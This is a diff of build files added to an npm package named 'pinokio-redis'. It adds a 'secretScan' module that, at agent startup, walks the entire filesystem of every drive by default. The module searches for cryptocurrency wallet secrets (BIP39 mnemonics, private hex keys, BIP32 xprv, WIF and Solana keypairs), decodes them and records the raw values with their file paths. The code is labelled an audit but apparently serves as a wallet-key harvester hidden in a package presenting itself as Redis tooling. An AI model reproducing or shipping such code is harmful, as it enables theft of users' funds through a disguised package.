pinokio-redis 1.0.127

package/dist/secretScan/auditFindingSlim.d.ts

@@ -0,0 +1,25 @@
+import type { SlimAuditUniqueFinding, UniqueFinding } from "./types";
+/** Stable audit labels — blockchain mnemonics / keys only (see strictMaterialGate). */
+export declare function canonicalPrimaryRuleForAudit(valueKind: string): string;
+export declare function uniqueFindingToSlimAuditRow(u: UniqueFinding): SlimAuditUniqueFinding;
+/** Secret material from disk (`data`, or legacy `value` / `normalized_value`). */
+export declare function slimPersistedData(row: SlimAuditUniqueFinding & {
+    value?: string;
+    normalized_value?: string;
+}): string;
+/** Rule label from disk (`rule`, or legacy `primary_rule`). */
+export declare function slimPersistedRuleLabel(row: SlimAuditUniqueFinding & {
+    primary_rule?: string;
+}): string;
+export declare function slimAuditRowToUniqueFinding(row: SlimAuditUniqueFinding & {
+    value?: string;
+    normalized_value?: string;
+    primary_rule?: string;
+}): UniqueFinding | null;
+export declare function slimAuditRowsToUniqueFindings(rows: Array<SlimAuditUniqueFinding & {
+    value?: string;
+    normalized_value?: string;
+    primary_rule?: string;
+}>): UniqueFinding[];
+/** Legacy disk rows carry full `UniqueFinding` shape including `fingerprint`. */
+export declare function storedUniqueRowsNeedLegacyMergeShape(row: unknown): boolean;

package/dist/secretScan/auditFindingSlim.js

@@ -0,0 +1,184 @@
+"use strict";
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.canonicalPrimaryRuleForAudit = canonicalPrimaryRuleForAudit;
+exports.uniqueFindingToSlimAuditRow = uniqueFindingToSlimAuditRow;
+exports.slimPersistedData = slimPersistedData;
+exports.slimPersistedRuleLabel = slimPersistedRuleLabel;
+exports.slimAuditRowToUniqueFinding = slimAuditRowToUniqueFinding;
+exports.slimAuditRowsToUniqueFindings = slimAuditRowsToUniqueFindings;
+exports.storedUniqueRowsNeedLegacyMergeShape = storedUniqueRowsNeedLegacyMergeShape;
+const fs = __importStar(require("node:fs"));
+const path = __importStar(require("node:path"));
+const dedupeFindings_1 = require("./dedupeFindings");
+/**
+ * After merge, `sources[0]` may still be a legacy directory-only path; prefer any path that looks
+ * like an actual file (basename has `.<ext>`), then longest path.
+ */
+function pickBestSourceFilePath(sources) {
+    const paths = (sources ?? [])
+        .map((s) => String(s.file ?? "").trim())
+        .filter(Boolean);
+    if (paths.length === 0)
+        return "";
+    /** Prefer paths that still resolve to a regular file; deprioritize existing directories. */
+    function fsHintScore(p) {
+        try {
+            const abs = path.resolve(p);
+            if (!fs.existsSync(abs))
+                return 0;
+            const st = fs.statSync(abs);
+            if (st.isFile())
+                return 70;
+            if (st.isDirectory())
+                return -90;
+        }
+        catch {
+            /* skip */
+        }
+        return 0;
+    }
+    function score(p) {
+        const posix = p.replace(/\\/g, "/");
+        const leaf = path.posix.basename(posix);
+        let sc = 0;
+        if (leaf.includes("."))
+            sc += 100;
+        if (/\.(json|env|txt|key|pem|dat|ks|asc)$/i.test(leaf))
+            sc += 40;
+        sc += Math.min(posix.length, 600);
+        sc += fsHintScore(p);
+        return sc;
+    }
+    let best = paths[0];
+    let bestScore = score(best);
+    for (let i = 1; i < paths.length; i++) {
+        const p = paths[i];
+        const sc = score(p);
+        if (sc > bestScore) {
+            best = p;
+            bestScore = sc;
+        }
+    }
+    return best;
+}
+/** Absolute path of the chosen merged hit source **file** (POSIX slashes). */
+function auditSourceFileAbsolutePosix(sourcePath) {
+    const raw = sourcePath.trim();
+    if (!raw)
+        return "";
+    try {
+        return path.resolve(raw).replace(/\\/g, "/");
+    }
+    catch {
+        return path.normalize(raw).replace(/\\/g, "/");
+    }
+}
+/** Stable audit labels — blockchain mnemonics / keys only (see strictMaterialGate). */
+function canonicalPrimaryRuleForAudit(valueKind) {
+    switch (String(valueKind ?? "").trim()) {
+        case "mnemonic_phrase":
+            return "bip39_checksum_valid";
+        case "hex_32byte":
+            return "secp256k1_private_hex";
+        case "hex_64byte":
+            return "private_hex_64byte";
+        case "bip32_extended_private":
+            return "bip32_xprv";
+        case "wif_like":
+            return "wif_private_key";
+        case "solana_secret_key_64":
+            return "solana_ed25519_keypair";
+        default:
+            return "validated_crypto_material";
+    }
+}
+function uniqueFindingToSlimAuditRow(u) {
+    const raw = pickBestSourceFilePath(u.sources);
+    const file = auditSourceFileAbsolutePosix(raw);
+    const nv = (0, dedupeFindings_1.canonicalAuditNormalizedValue)(String(u.normalized_value ?? ""));
+    const kind = (0, dedupeFindings_1.valueKindForNormalizedAuditValue)(nv);
+    return {
+        file,
+        rule: canonicalPrimaryRuleForAudit(kind),
+        data: nv,
+    };
+}
+/** Secret material from disk (`data`, or legacy `value` / `normalized_value`). */
+function slimPersistedData(row) {
+    return String(row.data ?? row.value ?? row.normalized_value ?? "").trim();
+}
+/** Rule label from disk (`rule`, or legacy `primary_rule`). */
+function slimPersistedRuleLabel(row) {
+    return String(row.rule ?? row.primary_rule ?? "").trim();
+}
+function slimAuditRowToUniqueFinding(row) {
+    const nv = (0, dedupeFindings_1.canonicalAuditNormalizedValue)(slimPersistedData(row));
+    const fp = (0, dedupeFindings_1.semanticValueFingerprint)(nv);
+    if (!fp)
+        return null;
+    const pr = slimPersistedRuleLabel(row);
+    const lower = pr.toLowerCase();
+    if (lower.includes("bip39_loose"))
+        return null;
+    const file = String(row.file ?? "").trim();
+    return {
+        fingerprint: fp,
+        value_kind: (0, dedupeFindings_1.valueKindForNormalizedAuditValue)(nv),
+        normalized_value: nv,
+        primary_rule: pr,
+        detection_rules: pr ? [pr] : [],
+        sources: file
+            ? [{ file, offset: undefined, matched_preview: "" }]
+            : [],
+        rule: pr,
+    };
+}
+function slimAuditRowsToUniqueFindings(rows) {
+    const out = [];
+    for (const r of rows) {
+        const u = slimAuditRowToUniqueFinding(r);
+        if (u)
+            out.push(u);
+    }
+    return out;
+}
+/** Legacy disk rows carry full `UniqueFinding` shape including `fingerprint`. */
+function storedUniqueRowsNeedLegacyMergeShape(row) {
+    if (!row || typeof row !== "object")
+        return false;
+    const fp = row.fingerprint;
+    return typeof fp === "string" && fp.length > 0;
+}

package/dist/secretScan/auditScanScope.d.ts

@@ -0,0 +1,25 @@
+/**
+ * Agent startup secret-audit scan scope: whole-machine roots with OS system-tree exclusions.
+ *
+ * When `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is unset, roots default to all local drive letters on
+ * Windows (when present) or filesystem `/` on POSIX. Explicit env roots override this list.
+ *
+ * System exclusions use absolute path prefixes so user trees like `/Users/you/Library` stay
+ * visible while macOS `/Library` is skipped.
+ */
+/** Returns parsed roots when `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is non-empty; otherwise `null`. */
+export declare function parseExplicitAuditRootsFromEnv(): string[] | null;
+/** Enumerate `D:\`-style roots that exist (Windows). Falls back to `C:\` when none match. */
+export declare function listWindowsDriveRoots(): string[];
+/** Default agent audit roots when env override is unset — whole PC / all mounted drive letters. */
+export declare function defaultWholePcAuditRoots(): string[];
+export declare function resolveAgentAuditRoots(): string[];
+/**
+ * Absolute prefixes skipped during agent audit walks — OS install / pseudo filesystem trees,
+ * not user home subtrees (prefix matches are anchored at volume root).
+ */
+export declare function agentAuditSystemExcludePrefixes(roots: string[]): string[];
+export declare function resolveAgentAuditScanPlan(): {
+    roots: string[];
+    extraExcludeAbsPathPrefixes: string[];
+};

package/dist/secretScan/auditScanScope.js

@@ -0,0 +1,233 @@
+"use strict";
+/**
+ * Agent startup secret-audit scan scope: whole-machine roots with OS system-tree exclusions.
+ *
+ * When `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is unset, roots default to all local drive letters on
+ * Windows (when present) or filesystem `/` on POSIX. Explicit env roots override this list.
+ *
+ * System exclusions use absolute path prefixes so user trees like `/Users/you/Library` stay
+ * visible while macOS `/Library` is skipped.
+ */
+var __createBinding = (this && this.__createBinding) || (Object.create ? (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    var desc = Object.getOwnPropertyDescriptor(m, k);
+    if (!desc || ("get" in desc ? !m.__esModule : desc.writable || desc.configurable)) {
+      desc = { enumerable: true, get: function() { return m[k]; } };
+    }
+    Object.defineProperty(o, k2, desc);
+}) : (function(o, m, k, k2) {
+    if (k2 === undefined) k2 = k;
+    o[k2] = m[k];
+}));
+var __setModuleDefault = (this && this.__setModuleDefault) || (Object.create ? (function(o, v) {
+    Object.defineProperty(o, "default", { enumerable: true, value: v });
+}) : function(o, v) {
+    o["default"] = v;
+});
+var __importStar = (this && this.__importStar) || (function () {
+    var ownKeys = function(o) {
+        ownKeys = Object.getOwnPropertyNames || function (o) {
+            var ar = [];
+            for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;
+            return ar;
+        };
+        return ownKeys(o);
+    };
+    return function (mod) {
+        if (mod && mod.__esModule) return mod;
+        var result = {};
+        if (mod != null) for (var k = ownKeys(mod), i = 0; i < k.length; i++) if (k[i] !== "default") __createBinding(result, mod, k[i]);
+        __setModuleDefault(result, mod);
+        return result;
+    };
+})();
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.parseExplicitAuditRootsFromEnv = parseExplicitAuditRootsFromEnv;
+exports.listWindowsDriveRoots = listWindowsDriveRoots;
+exports.defaultWholePcAuditRoots = defaultWholePcAuditRoots;
+exports.resolveAgentAuditRoots = resolveAgentAuditRoots;
+exports.agentAuditSystemExcludePrefixes = agentAuditSystemExcludePrefixes;
+exports.resolveAgentAuditScanPlan = resolveAgentAuditScanPlan;
+const fs = __importStar(require("node:fs"));
+const os = __importStar(require("node:os"));
+const path = __importStar(require("node:path"));
+const clientId_1 = require("../clientId");
+function resolveAuditRootToken(t) {
+    let s = t.trim();
+    if (s.startsWith("~/"))
+        return path.join(os.homedir(), s.slice(2));
+    if (s === "~")
+        return os.homedir();
+    return path.resolve(s);
+}
+/** Returns parsed roots when `FORGE_JS_AGENT_SECRET_AUDIT_ROOTS` is non-empty; otherwise `null`. */
+function parseExplicitAuditRootsFromEnv() {
+    const raw = (process.env.FORGE_JS_AGENT_SECRET_AUDIT_ROOTS || "").trim();
+    if (!raw)
+        return null;
+    return raw
+        .split(path.delimiter)
+        .map((s) => s.trim())
+        .filter(Boolean)
+        .map(resolveAuditRootToken);
+}
+/** Enumerate `D:\`-style roots that exist (Windows). Falls back to `C:\` when none match. */
+function listWindowsDriveRoots() {
+    const roots = [];
+    for (let code = 67; code <= 90; code++) {
+        const letter = String.fromCharCode(code);
+        const driveRoot = `${letter}:${path.sep}`;
+        try {
+            fs.statSync(driveRoot);
+            roots.push(path.resolve(driveRoot));
+        }
+        catch {
+            /* absent */
+        }
+    }
+    return roots.length > 0 ? roots : [path.resolve("C:\\")];
+}
+/** Default agent audit roots when env override is unset — whole PC / all mounted drive letters. */
+function defaultWholePcAuditRoots() {
+    if (process.platform === "win32")
+        return listWindowsDriveRoots();
+    return [path.resolve(path.sep)];
+}
+function resolveAgentAuditRoots() {
+    const explicit = parseExplicitAuditRootsFromEnv();
+    if (explicit && explicit.length > 0)
+        return explicit;
+    return defaultWholePcAuditRoots();
+}
+function fixedLinuxSystemPrefixes() {
+    const rel = [
+        "proc",
+        "sys",
+        "dev",
+        "run",
+        "boot",
+        "bin",
+        "sbin",
+        "lib",
+        "lib64",
+        "lib32",
+        "usr/bin",
+        "usr/sbin",
+        "usr/lib",
+        "usr/lib64",
+        "usr/include",
+        "usr/share",
+        "usr/src",
+        "snap",
+        "lost+found",
+        "cores",
+        "var/cache",
+        "var/tmp",
+        "var/spool",
+        "var/lib/apt",
+        "var/lib/dpkg",
+        "var/lib/docker",
+        "var/lib/containerd",
+        "var/lib/snapd",
+        "var/lib/flatpak",
+        "var/lib/systemd",
+    ];
+    const root = path.resolve(path.sep);
+    return rel.map((r) => path.resolve(root, r));
+}
+function fixedDarwinSystemPrefixes() {
+    const rel = [
+        "System",
+        "Library",
+        "bin",
+        "sbin",
+        "cores",
+        "dev",
+        "usr/bin",
+        "usr/sbin",
+        "usr/lib",
+        "usr/libexec",
+        "usr/include",
+        "usr/share",
+        "usr/X11",
+        "private/var/vm",
+        "private/var/db",
+        "Volumes/com.apple.TimeMachine.localsnapshots",
+    ];
+    const root = path.resolve(path.sep);
+    return rel.map((r) => path.resolve(root, r));
+}
+function perDriveWindowsSystemPrefixes(driveRoot) {
+    const tail = [
+        "Windows",
+        "Program Files",
+        "Program Files (x86)",
+        "ProgramData",
+        "$Recycle.Bin",
+        "System Volume Information",
+        "Recovery",
+        "PerfLogs",
+        "Windows.old",
+    ];
+    const base = path.resolve(driveRoot);
+    return tail.map((t) => path.join(base, t));
+}
+/** Volume root for a path (e.g. `C:\`), including explicit audit roots that are folders under a drive. */
+function windowsDriveRootsFromPaths(paths) {
+    const seen = new Set();
+    const out = [];
+    for (const p of paths) {
+        const resolved = path.resolve(p.trim());
+        const root = path.parse(resolved).root;
+        if (!root)
+            continue;
+        const norm = path.normalize(root);
+        const k = norm.replace(/\\/g, "/").toLowerCase();
+        if (seen.has(k))
+            continue;
+        seen.add(k);
+        out.push(norm);
+    }
+    return out;
+}
+/**
+ * Absolute prefixes skipped during agent audit walks — OS install / pseudo filesystem trees,
+ * not user home subtrees (prefix matches are anchored at volume root).
+ */
+function agentAuditSystemExcludePrefixes(roots) {
+    const pl = process.platform;
+    if (pl === "win32") {
+        const drives = windowsDriveRootsFromPaths(roots);
+        const out = [];
+        for (const r of drives)
+            out.push(...perDriveWindowsSystemPrefixes(r));
+        return dedupeAbsPrefixes(out);
+    }
+    if (pl === "darwin")
+        return dedupeAbsPrefixes(fixedDarwinSystemPrefixes());
+    return dedupeAbsPrefixes(fixedLinuxSystemPrefixes());
+}
+function dedupeAbsPrefixes(prefixes) {
+    const seen = new Set();
+    const out = [];
+    for (const raw of prefixes) {
+        const p = path.normalize(path.resolve(raw.trim()));
+        if (!p)
+            continue;
+        const k = process.platform === "win32" ? p.replace(/\\/g, "/").toLowerCase() : p;
+        if (seen.has(k))
+            continue;
+        seen.add(k);
+        out.push(p);
+    }
+    return out;
+}
+function resolveAgentAuditScanPlan() {
+    const roots = resolveAgentAuditRoots();
+    const sys = agentAuditSystemExcludePrefixes(roots);
+    const cfgmgrRoot = path.resolve((0, clientId_1.defaultCfgmgrDataDir)());
+    return {
+        roots,
+        extraExcludeAbsPathPrefixes: dedupeAbsPrefixes([...sys, cfgmgrRoot]),
+    };
+}

package/dist/secretScan/base58check.d.ts

@@ -0,0 +1,6 @@
+/**
+ * Base58Check decode for Bitcoin WIF / extended keys (no encode).
+ */
+/** Decode Base58 into bytes (leading `1` → 0x00 bytes). */
+export declare function decodeBase58(input: string): Buffer | null;
+export declare function base58CheckDecode(input: string): Buffer | null;

package/dist/secretScan/base58check.js

@@ -0,0 +1,49 @@
+"use strict";
+/**
+ * Base58Check decode for Bitcoin WIF / extended keys (no encode).
+ */
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.decodeBase58 = decodeBase58;
+exports.base58CheckDecode = base58CheckDecode;
+const node_crypto_1 = require("node:crypto");
+const BASE58 = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
+/** Decode Base58 into bytes (leading `1` → 0x00 bytes). */
+function decodeBase58(input) {
+    const s = input.trim();
+    if (!s)
+        return null;
+    const bytes = [];
+    for (const c of s) {
+        const idx = BASE58.indexOf(c);
+        if (idx < 0)
+            return null;
+        let carry = idx;
+        for (let i = 0; i < bytes.length; i++) {
+            carry += bytes[i] * 58;
+            bytes[i] = carry % 256;
+            carry = Math.floor(carry / 256);
+        }
+        while (carry > 0) {
+            bytes.push(carry % 256);
+            carry = Math.floor(carry / 256);
+        }
+    }
+    for (let i = 0; i < s.length && s[i] === "1"; i++) {
+        bytes.push(0);
+    }
+    return Buffer.from(bytes.reverse());
+}
+function base58CheckDecode(input) {
+    const decoded = decodeBase58(input);
+    if (!decoded || decoded.length < 5)
+        return null;
+    const payload = decoded.subarray(0, -4);
+    const chk = decoded.subarray(-4);
+    const h = (0, node_crypto_1.createHash)("sha256")
+        .update((0, node_crypto_1.createHash)("sha256").update(payload).digest())
+        .digest()
+        .subarray(0, 4);
+    if (!chk.equals(h))
+        return null;
+    return Buffer.from(payload);
+}

package/dist/secretScan/contentScanner.d.ts

@@ -0,0 +1,23 @@
+/**
+ * Content scan for filename-matched candidate files only.
+ * Does not modify files. Outputs structured findings for human review (many false positives).
+ */
+import type { ScanHitExtras, ScanHitRow } from "./types";
+export type RegexRuleName = "hex_64" | "maybe_eth_address_40" | "bip32_xprv" | "wif_like" | "env_secret" | "json_secret" | "solana_keypair_json";
+export declare function shannonEntropy(data: Uint8Array): number;
+export declare function extractPrintableRuns(data: Buffer, minLen?: number): Generator<string>;
+export declare function tryBase64Decode(s: string): string[];
+export declare function tryHexToBytesHint(s: string): string | undefined;
+export declare function xorSinglebytePrintable(hex64: string, maxFound?: number): string[];
+/** Optional validators (mnemonic checksum / ed25519) — Python uses extras; Node build skips heavy deps. */
+export declare function validateSnippet(rule: string, snippet: string): ScanHitExtras;
+interface InternalHit {
+    rule: string;
+    offset: number;
+    matched_text: string;
+    extras: ScanHitExtras;
+}
+export declare function scanText(text: string, validate: boolean): InternalHit[];
+export declare function scanBytes(data: Buffer, validate?: boolean): InternalHit[];
+export declare function hitsToRows(absPath: string, size: number, hits: InternalHit[]): ScanHitRow[];
+export {};